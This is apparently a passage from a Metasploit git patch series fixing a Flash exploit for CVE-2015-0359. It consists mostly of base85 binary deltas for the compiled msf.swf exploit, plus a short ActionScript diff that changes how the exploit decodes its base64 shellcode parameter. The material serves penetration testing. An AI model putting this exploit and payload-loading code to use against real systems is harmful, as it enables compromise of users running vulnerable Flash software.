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 = new Vector.(0x6400) public function Msf() { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr ba.endian = "littleEndian" From bd1bdf22b54ea3fdae3a5daebb1dd143666444e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 17:27:20 -0500 Subject: [PATCH 37/55] Fix CVE-2015-0359 --- data/exploits/CVE-2015-0359/msf.swf | Bin 18109 -> 18236 bytes external/source/exploits/CVE-2015-0359/Msf.as | 5 ++++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf index 4befa69648e84694b107659f46cd93a8efa0e9b3..e7244c61f27d7c127efbf8b544cf6428964b6f95 100755 GIT binary patch delta 18097 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%0A?$)b_jMlQXDhH@(8rKnY1i(-rG9~;qMn+aJ z@7j5}2TkUgWKGvT?PRW4i=kU5RE549qnj~Ve}u{iQNC+}w&HiL4zp+ieqZ)m(vQiU zghN~5792L!IA4t-SMQ}a{m!_*B6#FZE4v~o{x6pfs_68Zl!#>R<%k_kuo2J!NOYG2|U7>fbadXd2zd-s%hht1iuIXYZ-0+i-s(^;;RpsQhh5Y ze`IpG5}9r<{^J&OVg(s~nYa{(B_9_r_rvR>5?BaMZJdJE$xZ_kMN=;uc)$@nv6gvQ zfN;?9&)J_>i}k@ZG5Gg1^2~gui-FbiwrWKR6) zA5o6@5k?)*B2ze@3ZCs@ENOZHr121nWjS;(l=;S522X`Ul&jBdlv70|QZhG;f8AnY z2eX2RXGd&%;D=k@{?b}<>3SLPF)XO$w|}&37&7QFMB@hHfz*F1q2+yTkCQcXNZ}t@ 